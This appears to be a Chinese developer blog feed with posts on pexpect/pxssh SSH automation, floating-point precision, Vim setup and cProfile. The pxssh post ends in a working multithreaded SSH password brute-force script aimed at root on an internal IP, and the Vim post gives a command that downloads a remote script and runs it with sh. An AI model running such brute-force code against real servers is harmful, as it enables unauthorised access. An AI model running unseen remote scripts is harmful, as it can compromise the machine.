<span class="k">def</span> <span class="nf">login_server</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">passwd</span><span class="p">):</span>
<span class="s">'''
模拟 ssh 登录
:param host: server host
:param user: 账户名
:param passwd: 登录密码
:return: child
'''</span>
<span class="c1">## 构造系统命令
</span> <span class="n">login_cmd</span> <span class="o">=</span> <span class="s">'ssh %s@%s'</span> <span class="o">%</span> <span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">host</span><span class="p">)</span>
<span class="c1">## pexpect.spawn() 开启子进程执行
</span> <span class="n">child</span> <span class="o">=</span> <span class="n">pexpect</span><span class="p">.</span><span class="n">spawn</span><span class="p">(</span><span class="n">login_cmd</span><span class="p">)</span>
<span class="c1">## expect() 是期望的返回
</span> <span class="n">child</span><span class="p">.</span><span class="n">expect</span><span class="p">(</span><span class="s">'password:'</span><span class="p">)</span>
<span class="c1">## 输入密码
</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">child</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span>
<span class="c1">## 登录成功后, 会显示 [$, #, >>>] 等符号
</span> <span class="n">child</span><span class="p">.</span><span class="n">expect</span><span class="p">(</span><span class="s">'\$'</span><span class="p">)</span>
<span class="c1">## 在所登录的 server 上执行命令
</span> <span class="n">child</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'df -ah'</span><span class="p">)</span>
<span class="n">child</span><span class="p">.</span><span class="n">expect</span><span class="p">(</span><span class="s">'\$'</span><span class="p">)</span>
<span class="c1">## 打印结果
</span> <span class="k">print</span><span class="p">(</span><span class="n">child</span><span class="p">.</span><span class="n">before</span><span class="p">)</span>
<span class="n">login_server</span><span class="p">(</span><span class="s">'www.google.com'</span><span class="p">,</span> <span class="s">'log'</span><span class="p">,</span> <span class="s">'log_password'</span><span class="p">)</span>
</code></pre></div></div>
<p>通常需要将结果打印到日志中, 在<code>child = pexpect.spawn(login_cmd)</code> 下添加</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fout = open('output.log', 'ab')
child.logfile = fout
</code></pre></div></div>
<p>cat 一下日志 output.log 的内容:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>pycharm_env<span class="o">)</span> ➜ lab git:<span class="o">(</span>master<span class="o">)</span> ✗ <span class="nb">cat </span>output.log
log@www.google.com<span class="s1">'s password: log_password
Last login: Sat Oct 8 21:45:13 2016 from 10.15.28.118
_ _ _ _ _
/ \ | |(_)| |__ __ _ | |__ __ _
/ _ \ | || || '</span>_ <span class="se">\ </span> / _<span class="sb">`</span> <span class="o">||</span> <span class="s1">'_ \ / _` |
/ ___ \ | || || |_) || (_| || |_) || (_| |
/_/ \_\|_||_||_.__/ \__,_||_.__/ \__,_|
Last Generated motd: Mon Apr 9 16:32:33 CST 2012
[log@google-1-1 /home/admin/logs/google]
$df -ah
df -ah
Filesystem Size Used Avail Use% Mounted on
/dev/xvda1 60G 37G 21G 64% /
proc 0 0 0 - /proc
sysfs 0 0 0 - /sys
devpts 0 0 0 - /dev/pts
tmpfs 3.9G 0 3.9G 0% /dev/shm
none 0 0 0 - /proc/xen
none 0 0 0 - /proc/sys/fs/binfmt_misc
[log@google-1-1 /home/admin/logs/google]
$%
</span></code></pre></div></div>
<p>可以 YY, 运维同学监控这么多服务器的磁盘, 网络, CPU 等状态, 说不定用的类似手段收集信息.</p>
<h3 id="221--使用-pxssh">2.2.1 使用 pxssh</h3>
<p>按照上面的那个例子来写, 和写 shell 脚本没多大区别, 一点也不 Pythonic! 翻阅文档, 发现果然有一站式服务, spawn 的子类: <b> pxssh() </b>
该类集成了 login, logout, prompt 方法, 不必自己写 pexpect 了. 上面的登录脚本浓缩成一句话:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pxssh</span><span class="p">().</span><span class="n">login</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
</code></pre></div></div>
<p>将 pxssh.py 源码文件的注释抄下来学习, 也是一目了然:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="s">'''Example that runs a few commands on a remote server and prints the result'''</span>
<span class="kn">from</span> <span class="nn">pexpect</span> <span class="kn">import</span> <span class="n">pxssh</span>
<span class="kn">import</span> <span class="nn">getpass</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">pxssh</span><span class="p">.</span><span class="n">pxssh</span><span class="p">()</span>
<span class="n">hostname</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'hostname: '</span><span class="p">)</span>
<span class="n">username</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'username: '</span><span class="p">)</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">getpass</span><span class="p">.</span><span class="n">getpass</span><span class="p">(</span><span class="s">'password: '</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">login</span><span class="p">(</span><span class="n">hostname</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'uptime'</span><span class="p">)</span> <span class="c1"># run a command
</span> <span class="n">s</span><span class="p">.</span><span class="n">prompt</span><span class="p">()</span> <span class="c1"># match the prompt
</span> <span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">before</span><span class="p">)</span> <span class="c1"># print everything before the prompt.
</span> <span class="n">s</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'ls -l'</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">prompt</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">before</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'df'</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">prompt</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">before</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">logout</span><span class="p">()</span>
<span class="k">except</span> <span class="n">pxssh</span><span class="p">.</span><span class="n">ExceptionPxssh</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"pxssh failed on login."</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="3-举个例子-pxssh-暴力登录">3. 举个例子: pxssh 暴力登录</h2>
<p>回到最开始的那本书 <a href="https://book.douban.com/subject/11605108/">Violent Python</a>, 作者就是拿 pexpect 遍历字典登录 Linux Server 的. 我们用 pxssh 大概模拟一下.</p>
<ul>
<li>登录脚本</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">ssh_login</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="s">'''
模拟 ssh 登录
:param host: server host
:param user: 账户名
:param passwd: 登录密码
:return: child
'''</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pxssh</span><span class="p">().</span><span class="n">login</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">pass</span>
</code></pre></div></div>
<ul>
<li>
<p>得用多线程提高效率, 同时控制并发</p>
</li>
<li>
<p>缩小下字典范围, 26大小写字母 + 阿拉伯数字</p>
</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">generate_password_dict</span><span class="p">(</span><span class="n">password_length</span><span class="p">):</span>
<span class="s">'''
:param length: 密码长度
:return:
'''</span>
<span class="c1"># words = 'a..zA..Z0..9'
</span> <span class="n">words</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)]</span> <span class="o">+</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s">'a'</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'a'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">26</span><span class="p">)]</span> <span class="o">+</span> \
<span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">26</span><span class="p">)])</span>
<span class="n">passwords</span> <span class="o">=</span> <span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">(</span><span class="n">words</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="n">password_length</span><span class="p">)</span>
<span class="c1"># with open('password.txt', 'w') as f:
</span> <span class="c1"># for password in passwords:
</span> <span class="c1"># f.write(''.join(password) + '\n')
</span> <span class="k">return</span> <span class="n">passwords</span>
</code></pre></div></div>
<h4 id="结合起来-简陋代码如下">结合起来, 简陋代码如下:</h4>
<p>以服务器 10.81.72.213 举例, 尝试 crack root 密码.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">from</span> <span class="nn">pexpect.pxssh</span> <span class="kn">import</span> <span class="n">pxssh</span>
<span class="n">PROMPT</span> <span class="o">=</span> <span class="p">[</span><span class="s">'#'</span><span class="p">,</span> <span class="s">'>>>'</span><span class="p">,</span> <span class="s">'>'</span><span class="p">,</span> <span class="s">'\$'</span><span class="p">]</span>
<span class="n">thread_lock</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">BoundedSemaphore</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
<span class="n">host</span> <span class="o">=</span> <span class="s">'10.81.72.213'</span>
<span class="n">user</span> <span class="o">=</span> <span class="s">'root'</span>
<span class="k">def</span> <span class="nf">ssh_login</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
<span class="s">'''
模拟 ssh 登录
:param host: server host
:param user: 账户名
:param passwd: 登录密码
:return: child
'''</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">pxssh</span><span class="p">().</span><span class="n">login</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Password found: '</span> <span class="o">+</span> <span class="n">password</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">finally</span><span class="p">:</span>
<span class="n">thread_lock</span><span class="p">.</span><span class="n">release</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">generate_password_dict</span><span class="p">(</span><span class="n">password_length</span><span class="p">):</span>
<span class="s">'''
生成指定长度的密码字典
:param length: 密码长度
:return:
'''</span>
<span class="c1"># words = 'a..zA..Z0..9'
</span> <span class="n">words</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)]</span> <span class="o">+</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s">'a'</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'a'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">26</span><span class="p">)]</span> <span class="o">+</span> \
<span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">),</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'A'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">26</span><span class="p">)])</span>
<span class="n">passwords</span> <span class="o">=</span> <span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">(</span><span class="n">words</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="n">password_length</span><span class="p">)</span>
<span class="c1"># with open('password.txt', 'w') as f:
</span> <span class="c1"># for password in passwords:
</span> <span class="c1"># f.write(''.join(password) + '\n')
</span> <span class="k">return</span> <span class="n">passwords</span>
<span class="k">def</span> <span class="nf">violent_example</span><span class="p">():</span>
<span class="s">'''
生成密码, 多线程执行登录
:return:
'''</span>
<span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">generate_password_dict</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">thread_lock</span><span class="p">.</span><span class="n">acquire</span><span class="p">()</span>
<span class="n">thread</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">ssh_login</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
<span class="n">thread</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">index</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">index</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">**</span> <span class="mi">4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"%s password failed"</span> <span class="o">%</span> <span class="n">index</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">violent_example</span><span class="p">()</span>
</code></pre></div></div>
<p>结果输出:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10000 password failed
20000 password failed
30000 password failed
40000 password failed
50000 password failed
60000 password failed
70000 password failed
80000 password failed
90000 password failed
100000 password failed
110000 password failed
120000 password failed
130000 password failed
140000 password failed
150000 password failed
160000 password failed
170000 password failed
</code></pre></div></div>
<p>将线程开大些, 登录超时调小一点, 有生之年说不定能撞出内部 Linux Server 的密码, lol~</p>
<p>现实世界, 稍微靠谱点的 VPS 托管商, 肯定会拦截掉一直登录失败的 ip, 不给机会遍历字典~~~</p>
<h2 id="4-参考资料">4. 参考资料</h2>
<ol>
<li><a href="http://pexpect.readthedocs.io/en/stable/">Pexpect version 4.2</a></li>
<li><a href="http://pexpect.readthedocs.io/en/stable/_modules/pexpect/pxssh.html">pxssh.py</a></li>
<li><a href="https://www.ibm.com/developerworks/cn/linux/l-cn-pexpect1/">探索 Pexpect</a></li>
<li><a href="https://www.kancloud.cn/wizardforcel/violent-python/145586">Violent Python 中文版</a></li>
</ol>
一张打折卡引发的精度思考
2016-08-11T00:00:00+00:00
http://fish267.github.io/2016/08/11/python-float
<h2 id="1-背景">1. 背景</h2>
<p>在验证网商营销平台时, 发现一个奇怪的打折卡</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/tOpYUuQAQowIzwAoCeeq.png" alt="Screen_Shot_2016-08-10_at_21.46.55" /></p>
<p>经排查, 服务端返回的是打折卡额度分别是 0.39, 0.49, 前端数值乘以 10 进行展示, <code>0.39 * 10 = 3.9000000000000004</code>, 在浏览器演示如下:</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/NwvSVWCOMyGammHpkFXe.png" alt="Screen_Shot_2016-08-10_at_21.51.00" /></p>
<p>很明显是 Javascript 浮点运算精度问题, 那么为什么两个运算结果一个正常, 一个这么不正经呢?</p>
<!--more-->
<h2 id="2-python-分析">2. Python 分析</h2>
<p>Javascript 和 Python 都是弱类型语言, 以<code>0.1 + 0.2</code>为例, 从更为熟悉的 Python 分析一下.</p>
<p>在 CPython 解释器下, 得到的结果如下:</p>
<p><img src="https://gw.alipayobjects.com/zos/rmsportal/NENdkgykvdDkkPvPMWem.png" alt="Screen_Shot_2016-08-10_at_22.14.15" /></p>
<p>我们知道计算机都是二进制运算, 通过<a href="http://tool.oschina.net/hexconvert/">进制转换工具</a>, 或者文章末尾的 Python 计算函数<code>get_float_bin()</code>, 可以看到运算过程:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mf">0.1</span> <span class="n">的二进制</span><span class="p">:</span> <span class="mf">0.0001100110011001100110011001100110011001100110011001101</span>
<span class="mf">0.2</span> <span class="n">的二进制</span><span class="p">:</span> <span class="mf">0.0011001100110011001100110011001100110011001100110011010</span>
<span class="n">二进制相加</span><span class="p">:</span> <span class="mf">0.0100110011001100110011001100110011001100110011001100111</span>
<span class="n">转换成浮点</span><span class="p">:</span> <span class="mf">0.3000000000000000444089209850062616169452667236328125</span>
<span class="n">截断后</span><span class="p">:</span> <span class="mf">0.30000000000000004</span>
</code></pre></div></div>
<p>浮点数有指数和尾数组成, 在转换过程中, 无限长度的二进制数过程不可逆, 造成了精度丢失.</p>
<p>至于上面的<code>0.49 * 10 = 4.9</code>, 可以推测, 相乘之后的二进制转成10进制, 恰好9后面有至少17个零, 这样 CPython 解释器就以4.9展示了.</p>
<h4 id="python-眼中的-01">Python 眼中的 0.1</h4>
<p>通过 <b>Decimal</b> 模块, 我们看看 Python 是怎么看待 0.1 的, 比我们要费脑多了.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="kn">from</span> <span class="nn">decimal</span> <span class="kn">import</span> <span class="n">Decimal</span>
<span class="o">>>></span> <span class="n">Decimal</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
<span class="n">Decimal</span><span class="p">(</span><span class="s">'0.1000000000000000055511151231257827021181583404541015625'</span><span class="p">)</span>
</code></pre></div></div>
<p>这个非常有意思, 也正好解答了许久以来的困惑, 为什么 <code>Python(round)、Javascript(toFixed) </code> 等语言的四舍五入不灵!!!</p>
<ul>
<li>Python3</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="nb">round</span><span class="p">(</span><span class="mf">3.155</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="mf">3.15</span>
<span class="o">>>></span> <span class="nb">round</span><span class="p">(</span><span class="mf">2.615</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="mf">2.62</span>
</code></pre></div></div>
<ul>
<li>Node</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">></span> <span class="n">console</span><span class="p">.</span><span class="n">log</span><span class="p">(</span><span class="mf">2.675</span><span class="p">.</span><span class="n">toFixed</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
<span class="mf">2.67</span>
<span class="n">undefined</span>
<span class="o">></span> <span class="mf">2.615</span><span class="p">.</span><span class="n">toFixed</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="s">'2.62'</span>
</code></pre></div></div>
<p>Python 和 Js 准守的是标准的四舍五入, 不存在(叫奇进偶舍), 至于为什么 3.155 没有五入, 我们看看 Python 是怎么看 3.155 的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="kn">from</span> <span class="nn">decimal</span> <span class="kn">import</span> <span class="n">Decimal</span>
<span class="o">>>></span> <span class="n">Decimal</span><span class="p">(</span><span class="mf">3.155</span><span class="p">)</span>
<span class="n">Decimal</span><span class="p">(</span><span class="s">'3.154999999999999804600747665972448885440826416015625'</span><span class="p">)</span>
</code></pre></div></div>
<p>很显然, 他四舍五入取两位时, 肯定就是 <b>3.15</b>了!!</p>
<h2 id="3-解决方案">3. 解决方案</h2>
<p>BB 了这么多, 吐槽一下解决方案:</p>
<h4 id="方案一-统统转换成整数">方案一: 统统转换成整数</h4>
<ol>
<li>二进制表示整数是没有精度丢失的, 浮点数的运算, 统一乘以 10 的 N 次方, 变成整数来运算</li>
</ol>
<h4 id="方案二-bigdecimal">方案二: BigDecimal</h4>
<ol>
<li>《Effective Java》 说了, 商业的计算, 要用 Java.math.BigDecimal, 前端就负责的渲染展示, 数值计算统统扔给服务端来保证吧!</li>
</ol>
<p>既然用到了 BigDecimal, 顺便提一下, 我们之前踩过一个坑, Double 类型直接转成 BigDecimal 类型去用:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">TestLab</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">){</span>
<span class="nc">Double</span> <span class="n">num</span> <span class="o">=</span> <span class="mf">996.007</span><span class="o">;</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">num</span><span class="o">);</span>
<span class="nc">BigDecimal</span> <span class="n">bgNum</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BigDecimal</span><span class="o">(</span><span class="n">num</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">bgNum</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>996.007
996.0069999999999481588019989430904388427734375
</code></pre></div></div>
<p>WTF! 正确的姿势应该是</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">BigDecimal</span> <span class="n">bgNum</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BigDecimal</span><span class="o">(</span><span class="n">num</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
</code></pre></div></div>
<p><b>牢记 BigDecimal 只能精确的将字符串转成浮点!</b></p>
<h2 id="4-其他">4. 其他</h2>
<h3 id="1-python-计算-float-的二进制">1. Python 计算 float 的二进制</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">decimal</span> <span class="kn">import</span> <span class="n">Decimal</span>
<span class="k">def</span> <span class="nf">get_float_bin</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">n</span><span class="o">=</span><span class="mi">50</span><span class="p">):</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">Decimal</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>
<span class="n">r</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="k">if</span> <span class="n">a</span> <span class="o">>=</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">r</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"1"</span><span class="p">)</span>
<span class="n">a</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">r</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">"0"</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="mi">2</span>
<span class="k">return</span> <span class="s">"0."</span> <span class="o">+</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="o">//</span> <span class="n">结果</span>
<span class="o">>>></span> <span class="n">get_float_bin</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
<span class="s">'0.00011001100110011001100110011001100110011001100110'</span>
</code></pre></div></div>
<h3 id="参考文档">参考文档</h3>
<ol>
<li><a href="http://stackoverflow.com/questions/8073912/why-do-we-need-to-convert-the-double-into-a-string-before-we-can-convert-it-int[]">stackoverflow 问题</a></li>
<li><a href="http://blog.gejiawen.com/2015/08/11/javascript-float-count-precision/">Javascript中浮点数的计算精度问题</a></li>
<li><a href="http://blog.chinaunix.net/xmlrpc.php?r=blog/article&uid=26731984&id=3110102">浮点数的精度</a></li>
</ol>
<hr />
<h5 id="希望-wings-战队-ti6-夺冠">希望 Wings 战队 Ti6 夺冠.</h5>
Vim 一键配置
2016-06-12T00:00:00+00:00
http://fish267.github.io/2016/06/12/vim-settings
<h2 id="配置vim">配置Vim</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wget</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">os</span><span class="p">.</span><span class="n">alipayobjects</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">rmsportal</span><span class="o">/</span><span class="n">gEYbNstsudEJKZn</span><span class="p">.</span><span class="n">js</span> <span class="o">-</span><span class="n">O</span> <span class="n">vim</span><span class="p">.</span><span class="n">sh</span> <span class="o">&&</span> <span class="n">sh</span> <span class="n">vim</span><span class="p">.</span><span class="n">sh</span> <span class="o">&&</span> <span class="n">rm</span> <span class="n">vim</span><span class="p">.</span><span class="n">sh</span>
</code></pre></div></div>
Amazing Pi
2016-03-14T00:00:00+00:00
http://fish267.github.io/2016/03/14/super-pi
Python 性能分析工具 cProfile
2016-03-08T00:00:00+00:00
http://fish267.github.io/2016/03/08/python-profile
<p>一般看看 py 脚本的性能, 可以使用古老的 linux 工具 <code>time</code>, 或者自己在代码中写上 <code>time.clock()</code>.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ codewars <span class="nb">time </span>python3 xingneng.py
python3 xingneng.py 4.64s user 0.02s system 99% cpu 4.698 total
</code></pre></div></div>
<p>这样粒度比较粗超, 进一步的分析可以借助标准库中的三个分析模块: <code>cProfile</code> <code>profile</code> <code>hotshot</code>.</p>
<p>在<code>python3</code>中, <code>hotshot</code>已经被废弃了, 如果没有特殊需求, 建议使用 <code>cProfile</code>. 本文简单介绍下使用 <code>gprof2dot</code> 和 <code>cProfile</code> 分析 python 脚本性能.</p>
<!--more-->
<h2 id="1-cprofile-和-profile">1. cProfile 和 profile</h2>
<p><code>cProfile</code> 和 <code>profile</code> 的用法基本相同, 一个是 C 实现的模块, 一个是 Python 实现的模块.</p>
<p>推荐使用 <code>cProfile</code>, 因为<code>profile</code> 分析很慢, 开销很多~</p>
<p>具体用法有代码中使用以及命令行使用, 如下:</p>
<h3 id="代码中使用">代码中使用</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">cProfile</span>
<span class="n">cProfile</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="s">'test()'</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">profile</span>
<span class="n">profile</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="s">'test()'</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="terminal-中使用">Terminal 中使用</h3>
<p>测试代码如下, 跑斐波那契数列:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">fib</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">n</span> <span class="o"><=</span> <span class="mi">2</span> <span class="k">else</span> <span class="n">fib</span><span class="p">(</span><span class="n">n</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">fib</span><span class="p">(</span><span class="n">n</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test1</span><span class="p">():</span>
<span class="n">fib</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test2</span><span class="p">():</span>
<span class="n">fib</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test3</span><span class="p">():</span>
<span class="n">fib</span><span class="p">(</span><span class="mi">35</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
